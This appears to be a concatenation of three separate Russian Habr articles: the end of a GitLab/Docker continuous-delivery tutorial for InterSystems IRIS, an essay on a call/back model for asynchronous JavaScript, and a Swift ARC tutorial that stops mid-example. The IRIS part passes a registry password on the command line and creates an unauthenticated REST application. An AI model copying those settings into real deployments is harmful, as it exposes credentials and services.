Во-первых, нам нужно собрать образ.
Наш код, как и всегда, хранится в репозитории, конфигурация CD в `gitlab-ci.yml`, но кроме того (для повышения безопасности) мы будем хранить несколько файлов, относящихся к образу, на сервере сборки.
### GitLab.xml
Содержит код коллбэков для CD. Он был разработан в [предыдущей статье](https://habr.com/company/intersystems/blog/354158/) и доступен на [GitHub](https://github.com/intersystems-ru/GitLab). Это небольшая библиотека для загрузки кода, запуска различных коллбэков и тестового кода. Предпочтительней использовать подмодули git, чтобы включить этот проект или что-то подобное в ваш репозиторий. Подмодули лучше, потому что легче поддерживать их в актуальном состоянии. Еще одна альтернатива — создать релиз на GitLab и загрузить его с помощью команды ADD уже при сборке.
### iris.key
Лицензионный ключ. Он может быть загружен во время сборки контейнера, а не храниться на сервере. Небезопасно хранить ключ в репозитории. Вы можете получить пробный ключ [на WRC](https://wrc.intersystems.com/wrc/) или попробовать [InterSystems IRIS Experience](https://www.intersystems.com/learn-play/).
### pwd.txt
Файл, содержащий пароль по умолчанию. Опять же, хранить пароль в репозитории довольно небезопасно.
### load\_ci.script
Скрипт, который:
* Включает [ОС аутентификацию](https://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GCAS_intro#GCAS_intro_authe_os) в InterSystems IRIS
* Загружает GitLab.xml
* Инициализирует настройки GitLab коллбэков
* Загружает код
```
set sc = ##Class(Security.System).Get("SYSTEM",.Properties)
write:('sc) $System.Status.GetErrorText(sc)
set AutheEnabled = Properties("AutheEnabled")
set AutheEnabled = $ZBOOLEAN(+AutheEnabled,16,7)
set Properties("AutheEnabled") = AutheEnabled
set sc = ##Class(Security.System).Modify("SYSTEM",.Properties)
write:('sc) $System.Status.GetErrorText(sc)
zn "USER"
do ##class(%SYSTEM.OBJ).Load(##class(%File).ManagerDirectory() _ "GitLab.xml","cdk")
do ##class(isc.git.Settings).setSetting("hooks", "MyApp/Hooks/")
do ##class(isc.git.Settings).setSetting("tests", "MyApp/Tests/")
do ##class(isc.git.GitLab).load()
halt
```
Обратите внимание, что первая строка намеренно оставлена пустой. Если этот начальный скрипт всегда один и тот же, вы можете просто сохранить его в репозитории.
gitlab-ci.yml
-------------
Теперь, перейдём к конфигурации непрерывной доставки:
```
build image:
stage: build
tags:
- test
script:
- cp -r /InterSystems/mount ci
- cd ci
- echo 'SuperUser' | cat - pwd.txt load_ci.script > temp.txt
- mv temp.txt load_ci.script
- cd ..
- docker build --build-arg CI_PROJECT_DIR=$CI_PROJECT_DIR -t docker.domain.com/test/docker:$CI_COMMIT_REF_NAME .
```
Что здесь происходит?
Прежде всего, поскольку [процесс сборки образа](https://docs.docker.com/engine/reference/commandline/build/) может получить доступ только к подкаталогам базового каталога — в нашем случае корневого каталога репозитория, нужно скопировать «секретный» каталог (в котором есть `GitLab.xml`, `iris.key`, `pwd.txt` и `load_ci.skript`) в клонированный репозиторий.
Далее, для доступа к терминалу требуется пользователь/пароль, поэтому мы добавим их к `load_ci.script` (для этого нам и нужна пустая строка в начале `load_ci.script`).
Наконец, мы создаем Docker Image и называем его: `docker.domain.com/test/docker:$CI_COMMIT_REF_NAME`
где `$CI_COMMIT_REF_NAME` — это имя ветви. Обратите внимание: первая часть тега образа должна совпадать с именем репозитория в GitLab, чтобы ее можно было увидеть на вкладке Registry (более полные инструкции по корректному тегированию доступны там же).
### Dockerfile
Docker Image создаётся с помощью [Dockerfile](https://docs.docker.com/engine/reference/builder/), вот он:
```
FROM docker.intersystems.com/intersystems/iris:2018.1.1.613.0
ENV SRC_DIR=/tmp/src
ENV CI_DIR=$SRC_DIR/ci
ENV CI_PROJECT_DIR=$SRC_DIR
COPY ./ $SRC_DIR
RUN cp $CI_DIR/iris.key $ISC_PACKAGE_INSTALLDIR/mgr/ \
&& cp $CI_DIR/GitLab.xml $ISC_PACKAGE_INSTALLDIR/mgr/ \
&& $ISC_PACKAGE_INSTALLDIR/dev/Cloud/ICM/changePassword.sh $CI_DIR/pwd.txt \
&& iris start $ISC_PACKAGE_INSTANCENAME \
&& irissession $ISC_PACKAGE_INSTANCENAME -U%SYS < $CI_DIR/load_ci.script \
&& iris stop $ISC_PACKAGE_INSTANCENAME quietly
```
Выполняются следующие действия:
* За основу берём образ InterSystems IRIS. Он должен быть в вашем Docker Registry. Если вы раньше не работали с Docker, попробуйте [First Look: Docker](https://docs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=AFL_containers), где описывается получение образа InterSystems IRIS, его добавление в Docker Registry и ручной запуск.
* Прежде всего, копируем наш репозиторий (и «секретный» каталог) внутрь контейнера.
* Копируем лицензионный ключ и `GitLab.xml` в каталог `mgr`.
* Меняем пароль на значение из `pwd.txt`. Обратите внимание, что `pwd.txt` удаляется при этой операции.
* Запускается InterSystems IRIS.
* Выполняется `load_ci.script`.
* InterSystems IRIS останавливается.
**Вот частичный лог сборки**
```
Running with gitlab-runner 10.6.0 (a3543a27)
on docker 7b21e0c4
Using Shell executor...
Running on docker...
Fetching changes...
Removing ci/
Removing temp.txt
HEAD is now at 5ef9904 Build load_ci.script
From http://gitlab.eduard.win/test/docker
5ef9904..9753a8d master -> origin/master
Checking out 9753a8db as master...
Skipping Git submodules setup
$ cp -r /InterSystems/mount ci
$ cd ci
$ echo 'SuperUser' | cat - pwd.txt load_ci.script > temp.txt
$ mv temp.txt load_ci.script
$ cd ..
$ docker build --build-arg CI_PROJECT_DIR=$CI_PROJECT_DIR -t docker.eduard.win/test/docker:$CI_COMMIT_REF_NAME .
Sending build context to Docker daemon 401.4kB
Step 1/6 : FROM docker.intersystems.com/intersystems/iris:2018.1.1.613.0
---> cd2e53e7f850
Step 2/6 : ENV SRC_DIR=/tmp/src
---> Using cache
---> 68ba1cb00aff
Step 3/6 : ENV CI_DIR=$SRC_DIR/ci
---> Using cache
---> 6784c34a9ee6
Step 4/6 : ENV CI_PROJECT_DIR=$SRC_DIR
---> Using cache
---> 3757fa88a28a
Step 5/6 : COPY ./ $SRC_DIR
---> 5515e13741b0
Step 6/6 : RUN cp $CI_DIR/iris.key $ISC_PACKAGE_INSTALLDIR/mgr/ && cp $CI_DIR/GitLab.xml $ISC_PACKAGE_INSTALLDIR/mgr/ && $ISC_PACKAGE_INSTALLDIR/dev/Cloud/ICM/changePassword.sh $CI_DIR/pwd.txt && iris start $ISC_PACKAGE_INSTANCENAME && irissession $ISC_PACKAGE_INSTANCENAME -U%SYS < $CI_DIR/load_ci.script && iris stop $ISC_PACKAGE_INSTANCENAME quietly
---> Running in 86526183cf7c
.
Waited 1 seconds for InterSystems IRIS to start
This copy of InterSystems IRIS has been licensed for use exclusively by:
ISC Internal Container Sharding
Copyright (c) 1986-2018 by InterSystems Corporation
Any other use is a violation of your license agreement
%SYS>
1
%SYS>
Using 'iris.cpf' configuration file
This copy of InterSystems IRIS has been licensed for use exclusively by:
ISC Internal Container Sharding
Copyright (c) 1986-2018 by InterSystems Corporation
Any other use is a violation of your license agreement
1 alert(s) during startup. See messages.log for details.
Starting IRIS
Node: 39702b122ab6, Instance: IRIS
Username:
Password:
Load started on 04/06/2018 17:38:21
Loading file /usr/irissys/mgr/GitLab.xml as xml
Load finished successfully.
USER>
USER>
[2018-04-06 17:38:22.017] Running init hooks: before
[2018-04-06 17:38:22.017] Importing hooks dir /tmp/src/MyApp/Hooks/
[2018-04-06 17:38:22.374] Executing hook class: MyApp.Hooks.Global
[2018-04-06 17:38:22.375] Executing hook class: MyApp.Hooks.Local
[2018-04-06 17:38:22.375] Importing dir /tmp/src/
Loading file /tmp/src/MyApp/Tests/TestSuite.cls as udl
Compilation started on 04/06/2018 17:38:22 with qualifiers 'c'
Compilation finished successfully in 0.194s.
Load finished successfully.
[2018-04-06 17:38:22.876] Running init hooks: after
[2018-04-06 17:38:22.878] Executing hook class: MyApp.Hooks.Local
[2018-04-06 17:38:22.921] Executing hook class: MyApp.Hooks.Global
Removing intermediate container 39702b122ab6
---> dea6b2123165
[Warning] One or more build-args [CI_PROJECT_DIR] were not consumed
Successfully built dea6b2123165
Successfully tagged docker.domain.com/test/docker:master
Job succeeded
```
Запуск
------
У нас есть образ, запустим его. В случае веток фич можно просто уничтожить старый контейнер и запустить новый. В случае продуктовой среды мы можем запустить сначала временный контейнер и заменить контейнер среды в случае успешного прохождения тестов.
Сначала скрипт удаления старого контейнера.
```
destroy old:
stage: destroy
tags:
- test
script:
- docker stop iris-$CI_COMMIT_REF_NAME || true
- docker rm -f iris-$CI_COMMIT_REF_NAME || true
```
Этот скрипт уничтожает запущенный контейнер и всегда завершается успешно (по умолчанию Docker возвращает ошибку, при попытке остановить/удалить несуществующий контейнер).
После этого мы запускаем новый контейнер и регистрируем его как окружение.
```
run image:
stage: run
environment:
name: $CI_COMMIT_REF_NAME
url: http://$CI_COMMIT_REF_SLUG.docker.eduard.win/index.html
tags:
- test
script:
- docker run -d
--expose 52773
--volume /InterSystems/durable/$CI_COMMIT_REF_SLUG:/data
--env ISC_DATA_DIRECTORY=/data/sys
--env VIRTUAL_HOST=$CI_COMMIT_REF_SLUG.docker.eduard.win
--name iris-$CI_COMMIT_REF_NAME
docker.eduard.win/test/docker:$CI_COMMIT_REF_NAME
--log $ISC_PACKAGE_INSTALLDIR/mgr/messages.log
```
[Контейнер Nginx](https://cloud.google.com/community/tutorials/nginx-reverse-proxy-docker) автоматически перенаправляет запросы с использованием переменной среды `VIRTUAL_HOST` на указанный порт — в данном случае 52773.
Так как необходимо хранить некоторые данные (пароли, %SYS, данные приложения) на хосте в InterSystems IRIS существует функциональность [Durable %SYS](https://docs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=ADOCK#ADOCK_iris_durable), позволяющая хранить на хосте такие данные, как:
* `iris.cpf` — основной файл конфигурации.
* Директорию `/csp` с файлами веб-приложений.
* `/httpd/httpd.conf` с конфигурацией приватного сервера Apache.
* Директорию `/mgr`, в которой хранятся:
+ Базы данных `IRISSYS`, `IRISTEMP`, `IRISAUDIT`, `IRIS`, `USER`.
+ `IRIS.WIJ`.
+ Директорию `/journal` хранящую журналы.
+ Директорию `/temp` для временных файлов.
+ Логи `messages.log`, `journal.log`, `SystemMonitor.log`.
Для включения Durable %SYS указывается аргумент `volume` монтирующий директорию хоста и переменная `ISC_DATA_DIRECTORY` устанавливающая директорию для хранения файлов Durable %SYS. Эта директория не должна существовать, она создастся автоматически.
Таким образом архитектура нашего контейнеризированного приложения следующая:
Чтобы собрать такое приложение, мы, как минимум, должны создать одну дополнительную базу данных (чтобы сохранить код приложения) и создать её маппинг в область приложения. Я использовал область `USER` для хранения данных приложения, поскольку эта область по умолчанию добавлена в Durable %SYS. Код приложения хранится в контейнере чтобы можно было его обновлять.
Исходя из вышесказанного, [%Installer](https://habr.com/company/intersystems/blog/268767/) должен:
* Создать область/базу данных `APP`
* Загрузить код в область `APP`
* Создать маппинг классов нашего приложения в область `USER`
* Выполнить прочую настройку (я создал CSP веб-приложение и REST веб-приложение)
**Код %Installer**
```
Class MyApp.Hooks.Local
{
Parameter Namespace = "APP";
/// See generated code in zsetup+1^MyApp.Hooks.Local.1
XData Install [ XMLNamespace = INSTALLER ]
{
}
/// This is a method generator whose code is generated by XGL.
/// Main setup method
/// set vars("Namespace")="TEMP3"
/// do ##class(MyApp.Hooks.Global).setup(.vars)
ClassMethod setup(ByRef pVars, pLogLevel As %Integer = 0, pInstaller As %Installer.Installer) As %Status [ CodeMode = objectgenerator, Internal ]
{
Quit ##class(%Installer.Manifest).%Generate(%compiledclass, %code, "Install")
}
/// Entry point
ClassMethod onAfter() As %Status
{
try {
write "START INSTALLER",!
set vars("Namespace") = ..#Namespace
set vars("Dir") = ..getDir()
set sc = ..setup(.vars)
write !,$System.Status.GetErrorText(sc),!
set sc = ..createWebApp()
} catch ex {
set sc = ex.AsStatus()
write !,$System.Status.GetErrorText(sc),!
}
quit sc
}
/// Modify web app REST
ClassMethod createWebApp(appName As %String = "/forms") As %Status
{
set:$e(appName)'="/" appName = "/" _ appName
#dim sc As %Status = $$$OK
new $namespace
set $namespace = "%SYS"
if '##class(Security.Applications).Exists(appName) {
set props("AutheEnabled") = $$$AutheUnauthenticated
set props("NameSpace") = "USER"
set props("IsNameSpaceDefault") = $$$NO
set props("DispatchClass") = "Form.REST.Main"
set props("MatchRoles")=":" _ $$$AllRoleName
set sc = ##class(Security.Applications).Create(appName, .props)
}
quit sc
}
ClassMethod getDir() [ CodeMode = expression ]
{
##class(%File).NormalizeDirectory($system.Util.GetEnviron("CI_PROJECT_DIR"))
}
}
```
Отмечу, что для создания базы данных не на хосте я использую директорию `/usr/irissys/mgr`, так как вызов `##class(%File).ManagerDirectory()` возвращает путь к директории для Durable %SYS.
Тесты
-----
Теперь запустим тесты.
```
test image:
stage: test
tags:
- test
script:
- docker exec iris-$CI_COMMIT_REF_NAME irissession iris -U USER "##class(isc.git.GitLab).test()"
```
Доставка
--------
Тесты пройдены, опубликуем наш образ в Docker Registry.
```
publish image:
stage: publish
tags:
- test
script:
- docker login docker.domain.com -u user -p pass
- docker push docker.domain.com/test/docker:$CI_COMMIT_REF_NAME
```
Логин/пароль можно передать с использованием [секретных переменных](https://docs.gitlab.com/ee/ci/variables/#secret-variables).
Теперь образ отображается на GitLab.
И другие разработчики могут скачать его из Docker Registry. На вкладке Environments все наши окружения доступны для просмотра:
Выводы
======
В этой серии статей рассмотрены общие подходы к непрерывной интеграции. Автоматизация сборки, тестирования и доставки вашего приложения на платформах InterSystems возможна и легко реализуема.
Применение технологий контейнеризации поможет оптимизировать процессы разработки и развёртывания приложений. Устранение несоответствий между окружениями позволяет упростить тестирование и отладку. Оркестрация позволяет создавать масштабируемые приложения.
Ссылки
======
* [Предыдущая статья](https://habr.com/company/intersystems/blog/354158/)
* [Серия статей на InterSystems Community](https://community.intersystems.com/post/continuous-delivery-your-intersystems-solution-using-gitlab-index)
* [Код](http://gitlab.eduard.win/test/docker)
* [Код на GitHub](https://github.com/intersystems-ru/GitLab) | https://habr.com/ru/post/420749/ | null | ru | null |
# Javascript — решение асинхронной проблемы?
В этой статье, я хочу рассказать про свое решение проблемы с асинхронной функциональностью javascript, по средствам введения полностью асинхронной модели вычислений. Будет описана сама концепция, и дана ссылка на реализацию. Заинтересовавшихся прошу под кат.
Введение
--------
Начнем с главного — синхронно или асинхронно? Когда имеется синхронный процесс вычисления и асинхронная функциональность без которой не обойтись, это проблема. Более того, когда асинхронность более выигрышна и вообще best practice то эту проблему надо решать.
Что уже есть для решения? Есть коллбэки, есть промайсы. Но промайсы — это модифицированные коллбеки и только упрощают проблему, но не решают её. Для действительного решения проблемы, необходимо сводить все к одной модели — или полностью синхронной или полностью асинхронной.
В последних стандартах, появились свои промайсы, а потом и async/await, что вкупе позволяет свести вычислительный процесс к полностью синхронной модели. И казалось бы, что проблема решена, но у меня есть ряд претензий к данному решению:
* реализация далека от "элегантности"
* на данный момент медленно работает
* плодит плохо читаемый код
* плохо подходит для организации "массивной" параллельности (без кучи плохо читаемого кода)
Критикуешь — предлагай
----------------------
Давайте забудем про async/await, забудем про промайсы, как это должно выглядеть? Удобно, единообразно, с минимум дополнительного кода? Что то вроде функции, только асинхронной:
* что бы определение было как у синхронной
* что бы принцип работы был как у синхронной
* что бы работала внутри синхронного вычислительного процесса
То есть, хорошо бы превратить синхронную функцию JS в асинхронную. Давайте составим список шагов для выполнения данной задачи.
* Первое что нужно сделать, для чего-то такого, это введение собственного стека вызовов, но не простого, а древовидного! Классический стек вызовов не годится для массивной параллельности.
* Второе, это сделать так. что бы вершина `любой` ветви всегда была в работе, что бы поток исполнения гарантированно мог на нее вернутся в случае ухода.
* Третье, это отказ от синхронного возврата функции, и замена на асинхронную альтернативу, при которой можно дожидаться чего либо, прежде чем вернуть результат. То есть нужен возврат по команде, а не по безальтернативному порядку исполнения, неудержимо стремящимуся к завершению.
* Четвертое, это отойти от синхронного вычислительного процесса, внутри синхронной функции, что бы синхронные вызовы данной функции, просто "прокачивали" асинхронный процесс.
* Пятое и последнее, это пара функций оберток для асинхронного вызова/возврата, которые все что надо разложат куда надо. Пусть они называются `call` и `back`.
Вперед в дебри!
---------------
Давайте попробуем это все изобразить. По условию определение асинхронной функции, должно быть ровно такое же, как и синхронной.
```
function A ()
{
}
```
### Начнем с последнего
Пусть `call`:
* имеет параметры: текущая вершина, имя функции для вызова, аргументы для этой функции
* создает новую вершину, для данной ветви, оставляя ссылку на текущую
* вызывает указанную функцию с указанными аргументами
Пусть `back`:
* имеет параметры: текущая вершина, результат
* удаляет текущую вершину, для данной ветви, переходит по ссылке на предыдущую
* вызывает функцию, указанную для предыдущей вершины, с результатом, возвращенным функцией текущей вершины.
### Теперь введем дерево вызовов
Тут выполняется первых 2 пункта:
* пусть будет некая начальная вершина, корень дерева, и все вызовы начинаются от нее
* пусть вершина передается в качестве аргумента вызываемой функции.
* пусть вершина будет единственным параметром вызываемой функции, и все необходимое, в том числе текущие аргументы данной функции хранятся в ней.
* при вызове, вершина данной ветви захватывается контекстом исполнения функции
* при последующем вызове вершина становится узлом ветви, новая вершина захватывается контекстом новой вызванной функции
* при асинхронной функциональности, например ajax, вершина сохраняется в замыкании
* в общем и целом: текущий вызов -> дальнейший вызов | ожидание в замыкании | возврат
```
function A ( top )
{
}
```
### Синхронный возврат нам больше не друг
Пункт три, как уже было описано выше, специальный метод-обертка `back`, при вызове (команде), переходит на один узел назад по дереву вызовов. Таким образом и осуществляется асинхронный возврат. Тут же условимся что синхронный возврат (return) больше не учитывается, и асинхронный вызов продолжает существовать даже после синхронного возврата.
### Еще не все, не все так просто
Из вышеописанного становится понятно что вызовов конкретной синхронной функции, превращенной в асинхронную, будет не один а несколько:
* первый вызов — собственно, классический вызов функции, смотрите описание `call`
* второй и последующие — для возврата из асинхронного подвызова, смотрите описание `back`
Нужен способ ловить, или же вычленять куски кода нужные при каждом конкретном вызове, и переносить поток исполнения именно туда. К тому же нужна возможность сохранять данные между подвызов-возврат, так как контекст исполнения пропадает после каждого синхронного возврата. Введем следующее:
* пусть в `top` будет введено поле `mark`
* пусть `call` ставить `mark` равной `#`
* пусть `back` ставит `mark` равной имени функции из текущей вершины (которая удаляется)
* пусть `switch` осуществляет направление потока исполнения
* пусть данные, которые должны быть доступны все время, до асинхронного возврата (`back`), записываются прямо в `top.x = 1`;
**Смотрим**
```
function A ( top )
{
switch ( top.mark )
{
case '#':
break;
case 'B':
break;
case 'C':
break;
}
}
```
Собираем все в месте:
* пусть `call` ставит переданные аргументы в `top.arg`
* пусть `back` ставит переданный результат в `top.ret`
**Смотрим**
```
function A ( top )
{
switch ( top.mark )
{
case '#':
call(top, 'B', 'some_data');
break;
case 'B':
call(top, 'C', top.ret + 1);
break;
case 'C':
back(top, {x: top.ret});
break;
}
}
```
Из примера выше видно, что получается обычная синхронная функция, только растянутая, и с возможностью дождаться асинхронного действия перед возвратом. Так же можно заметить, разбиение на шаги, и их последовательное исполнение. Учтем это, и то что используется дерево вызовов, а не стек, и добавим параллельности:
* пусть в `top` будет введено поле `size`
* пусть `call` увеличивает `size` текущей вершины на единицу
* пусть `back` уменьшает `size` предыдущей вершины на единицу (текущая уничтожается)
**Смотрим**
```
function A ( top )
{
switch ( top.mark )
{
case '#':
top.buf = [];
call(top, 'B', 'some_data1');
call(top, 'B', 'some_data2');
call(top, 'B', 'some_data3');
break;
case 'B':
top.buf.push(top.ret);
if ( !top.size )
{
call(top, 'C', top.buf);
}
break;
case 'C':
back(top, top.ret);
break;
}
}
```
Получается возможность запуска массивной параллельной задачи, на любом последовательном шаге общего асинхронного процесса исполнения функции. Так же возможность дождаться завершения этой задачи и накопить результат. Давайте это улучшим, а именно учтем то, что не всегда нужен результат `top.ret` конкретной функции, и было бы неплохо иметь возможность параллельного запуска различных функций в одной задаче:
* пусть в `top` будет введено новое поле `group`
* пусть `mark` будет заменено на `group['#name']`
* пусть `size` будет заменено на `group['#size']`
* пусть в `call` будет введен новый параметр groupMark
* пусть `call` увеличивает `top.group[groupMark]` текущей вершины на единицу
* пусть `back` уменьшает `top.group[groupMark]` предыдущей вершины на единицу (текущая уничтожается)
* пусть `call` и `back` управляют значением специальных имен `top.group['#name']` и `top.group['#size']` содержащих имя и размер текущей группы
**Смотрим**
```
function A ( top )
{
switch ( top.group['#name'] )
{
case '#':
top.buf = [];
call(top, '#group1', 'B1', 'some_data1');
call(top, '#group1', 'B2', 'some_data2');
call(top, '#group1', 'B'3, 'some_data3');
break;
case '#group1':
top.buf.push(top.ret);
if ( !top.size )
{
call(top, '#group2', 'C', top.buf);
}
break;
case '#group2':
back(top, top.ret);
break;
}
}
```
Добавим еще возможность дождаться окончания нескольких запущенных групп, и на этом все :)
* пусть `top.group['##size']` будет содержать сумму всех `top.group['#size']`
* пусть будет введено `top.group['##name']` содержащая имя группы с которой была вызвана данная функция (имя группы возврата)
**Смотрим**
```
function A ( top )
{
switch ( top.group['#name'] )
{
case '#':
top.listB = [];
top.listC = [];
call(top, '#group1', 'B1', 'some_data1');
call(top, '#group1', 'B1', 'some_data1');
call(top, '#group1', 'B2', 'some_data2');
call(top, '#group2', 'С1', 'some_data1');
call(top, '#group2', 'С1', 'some_data1');
call(top, '#group2', 'С2', 'some_data2');
break;
case '#group1':
if (top.ret) {top.listB.push(top.ret);}
if ( !top.group['##size'] )
{
back(top, {B: top.listB, C: top.listC});
}
break;
case '#group2':
if (top.ret) {top.listC.push(top.ret);}
if ( !top.group['##size'] )
{
back(top, {B: top.listB, C: top.listC});
}
break;
}
}
```
Итог
----
Выше описана концепция асинхронной функции, позволяющая ввести полностью асинхронную модель вычисления, и при этом:
* сохраняется простота и упорядоченность кода
* гарантируется единообразность
* скорость работы куда выше чем у async/await, на данный момент (зависит от реализации)
* широкие возможности для организации параллельных вычислений
Мной разработана довольно удачная [реализация данной концепции](https://github.com/username-rus/qkit), с упором на параллельные вычисления. Ключевая особенность — поддержка потоков (WebWorker) и возможность асинхронного вызова функций, в каком бы потоке они не находились. | https://habr.com/ru/post/347250/ | null | ru | null |
# Swift: ARC и управление памятью
Будучи современным языком высокого уровня, **Swift** в основном берёт на себя управление памятью в ваших приложениях, занимаясь выделением и освобождением памяти. Это происходит благодаря механизму, который называется **Automatic Reference Counting**, или сокращенно **ARC**. В этом руководстве вы разберётесь, как работает ARC и как правильно управлять памятью в Swift. Понимая этот механизм, вы сможете влиять на время жизни объектов, размещенных в куче (**heap**).
В этом руководстве вы прокачаете свои знания Swift и ARC, изучив следующее:
* как работает ARC
* что такое циклы ссылок (**reference cycles**) и как их правильно устранять
* как создать пример цикла ссылок
* как находить циклы ссылок при помощи визуальных средств, предлагаемых Xcode
* как обращаться с ссылочными типами и типами-значениями
Начинаем
--------
Загрузите [исходные материалы.](https://koenig-media.raywenderlich.com/uploads/2019/03/ARC-and-Memory-Management.zip) Откройте проект в папке **Cycles/Starter**. В первой части нашего руководства, разбираясь в ключевых понятиях, мы будем заниматься исключительно файлом **MainViewController.swif**t.
Добавьте этот класс внизу MainViewController.swift:
```
class User {
let name: String
init(name: String) {
self.name = name
print("User \(name) was initialized")
}
deinit {
print("Deallocating user named: \(name)")
}
}
```
Здесь определяется класс **User**, который при помощи операторов **print** сигнализирует нам об инициализации и освобождении экземпляра класса.
Теперь создадим экземпляр класса User вверху MainViewController.
Разместите этот код перед методом **viewDidLoad()**:
```
let user = User(name: "John")
```
Запустите приложение. Сделайте консоль Xcode видимой при помощи **Command-Shift-Y**, чтобы видеть вывод операторов print.
Обратите внимание на то, что на консоли появилась надпись **User John was initialized**, но оператор print внутри **deinit** не был исполнен. Значит, этот объект не был освобождён, так как он не вышел из области видимости (**scope**).
Другими словами, пока view controller, содержащий этот объект, не выйдет из области видимости, объект никогда не будет освобождён.
Он в области видимости?
-----------------------
Завернув экземпляр класса User в метод, мы разрешим выйти ему из области видимости, тем самым позволив ARC освободить его.
Создадим метод **runScenario()** внутри класса MainViewController и переместим инициализацию экземпляра класса User внутри него.
```
func runScenario() {
let user = User(name: "John")
}
```
runScenario() определяет области видимости экземпляра User. На выходе из этой зоны **user** должен быть высвобожден.
Теперь вызовем runScenario() добавив это в конце viewDidLoad():
```
runScenario()
```
Запустите приложение. Вывод в консоли теперь выглядит так:
User John was initialized
Deallocating user named: John
Это означает, что вы высвободили объект, покинувший области видимости.
Время жизни объекта
-------------------
Существование объекта делится на пять этапов:
* выделение памяти: из стека или из кучи
* инициализация: выполняется код внутри init
* использование
* деинициализация: выполняется код внутри deinit
* высвобождение памяти: выделенная память возвращается в стек или кучу
Не существует прямого способа чтобы отследить этапы выделения и освобождения памяти, но можно использовать код внутри init и deinit.
Счётчик ссылок (**reference counts**), также известный как 'количество использований' (**usage counts**), определяет, когда объект больше не нужен. Этот счётчик показывает число тех, кто «пользуется» этим объектом. Объект становится ненужным, когда счётчик использований равен нулю. Затем объект деинициализируется и высвобождается.
При инициализации объекта User его счетчик ссылок равен 1, так как константа **user** ссылается на этот объект.
В конце runScenario(), user выходит из области видимости и счётчик ссылок уменьшается до 0. В результате user деинициализируется и затем высвобождается.
Циклы ссылок (Reference Cycles)
-------------------------------
В большинстве случаев ARC работает так, как надо. Разработчику обычно не нужно беспокоиться об утечках памяти, когда неиспользуемые объекты остаются неосвобожденными на неопределённое время.
Но не всегда! Возможны утечки памяти.
Как это может произойти? Представим ситуацию, когда два объекта больше не используются, но каждый из них ссылается на другой. Так как у каждого счетчик ссылок не равен 0, ни один из них не будет освобождён.
Это цикл сильных ссылок (**strong reference cycle**). Такая ситуация сбивает с толку ARC и не позволяет ему очистить память.
Как видите, счетчик ссылок в конце не равен 0 и, хотя никакие объекты уже не нужны, object1 и object2 не будут освобождены.
Проверим наши ссылки
--------------------
Чтобы проверить все это в деле, добавьте этот код после класса User в MainViewController.swift:
```
class Phone {
let model: String
var owner: User?
init(model: String) {
self.model = model
print("Phone \(model) was initialized")
}
deinit {
print("Deallocating phone named: \(model)")
}
}
```
Этот код добавляет новый класс **Phone** с двумя свойствами, одно для модели и другое для владельца, а также методы init и deinit. Свойство владельца опциональное, так как у телефона может и не быть владельца.
Теперь добавьте эту строчку в runScenario():
```
let iPhone = Phone(model: "iPhone Xs")
```
Это создаст экземпляр класса Phone.
Удерживаем мобилу
-----------------
Теперь добавьте этот код в класс User, сразу после свойства name:
```
private(set) var phones: [Phone] = []
func add(phone: Phone) {
phones.append(phone)
phone.owner = self
}
```
Добавляем массив телефонов, которыми владеет user. Сеттер помечен как private, так что нужно использовать add(phone:).
Запустите приложение. Как видите, экземпляры классов Phone и User objects высвобождаются, как надо
User John was initialized
Phone iPhone XS was initialized
Deallocating phone named: iPhone Xs
Deallocating user named: John
Теперь добавим это в конце runScenario():
```
user.add(phone: iPhone)
```
Здесь мы добавляем наш айфончик в список телефонов, которыми владеет **user**, а также устанавливаем свойство телефона **owner** в '**user**'.
Еще раз запустите приложение. Вы увидите, что объекты user и iPhone не высвобождаются. Цикл сильных ссылок между ними не позволяет ARC высвободить их.
Ссылки Weak
-----------
Чтобы разорвать цикл сильных ссылок, вы можете обозначить отношение между объектами как слабое (**weak**).
По умолчанию все ссылки являются сильными и присваивание приводит к увеличению счётчика ссылок. При использовании слабых ссылок (weak references) счётчик ссылок не увеличивается.
Другими словами, **слабые ссылки не влияют на управление жизнью объекта**. Слабые ссылки всегда объявлены как **optional**. Таким образом, когда счётчик ссылок станет равным 0, ссылка может быть установлена в nil.
На этой иллюстрации штриховые линии обозначают слабые ссылки. Обратите внимание, что счётчик ссылок object1 равен 1, так как на него ссылается variable1. Счётчик ссылок object2 равен 2, так как на него ссылается variable2 и object1.
object2 также ссылается на object1, но **СЛАБО**, что означает, что это не влияет на счетчик ссылок на object1.
Когда variable1 и variable2 освобождаются, у object1 счётчик ссылок становится равным 0, что высвобождает его. Это, в свою очередь, освобождает сильную ссылку на object2, что приводит уже к его высвобождению.
В классе Phone измените объявление свойства owner следующим образом:
```
weak var owner: User?
```
Объявлением ссылки на свойство owner как 'weak' мы разрываем цикл сильных ссылок между классами User и Phone.
Запустите приложение. Теперь user и phone корректно высвобождаются.
Ссылки Unowned
--------------
Существует также другой модификатор ссылки, который не приводит к увеличению счётчика ссылок: **unowned**.
В чём же отличие **unowned** от **weak**? Ссылка weak всегда optional и автоматически становится nil, когда ссылаемый объект высвобождается.
Вот почему мы должны объявлять weak свойства как переменную optional типа: это свойство должно измениться.
Ссылки Unowned, напротив, никогда не optional. Если вы попробуете получить доступ к unowned свойству, которое ссылается на освобождённый объект, вы получите ошибку, похожую на принудительное разворачивание содержащую nil переменной (force unwrapping).
Давайте попробуем применить **unowned**.
Добавим новый класс **CarrierSubscription** в конце MainViewController.swift:
```
class CarrierSubscription {
let name: String
let countryCode: String
let number: String
let user: User
init(name: String, countryCode: String, number: String, user: User) {
self.name = name
self.countryCode = countryCode
self.number = number
self.user = user
print("CarrierSubscription \(name) is initialized")
}
deinit {
print("Deallocating CarrierSubscription named: \(name)")
}
}
```
У CarrierSubscription четыре свойства:
Name: название провайдера.
CountryCode: код страны.
Number: телефонный номер.
User: ссылка на пользователя.
Кто ваш провайдер?
------------------
Теперь добавьте это в класс User после свойства name:
```
var subscriptions: [CarrierSubscription] = []
```
Здесь мы держим массив провайдеров пользователя.
Теперь добавьте это в класс Phone class, после свойства owner:
```
var carrierSubscription: CarrierSubscription?
func provision(carrierSubscription: CarrierSubscription) {
self.carrierSubscription = carrierSubscription
}
func decommission() {
carrierSubscription = nil
}
```
Это добавляет опциональное свойство CarrierSubscription и два метода для регистрации и разрегистрации телефона у провайдера.
Теперь добвьте внутри метода init у класса CarrierSubscription, прямо перед оператором print:
```
user.subscriptions.append(self)
```
Мы добавляем CarrierSubscription в массив провайдеров пользователя.
И, наконец, добавьте это в конце метода runScenario():
```
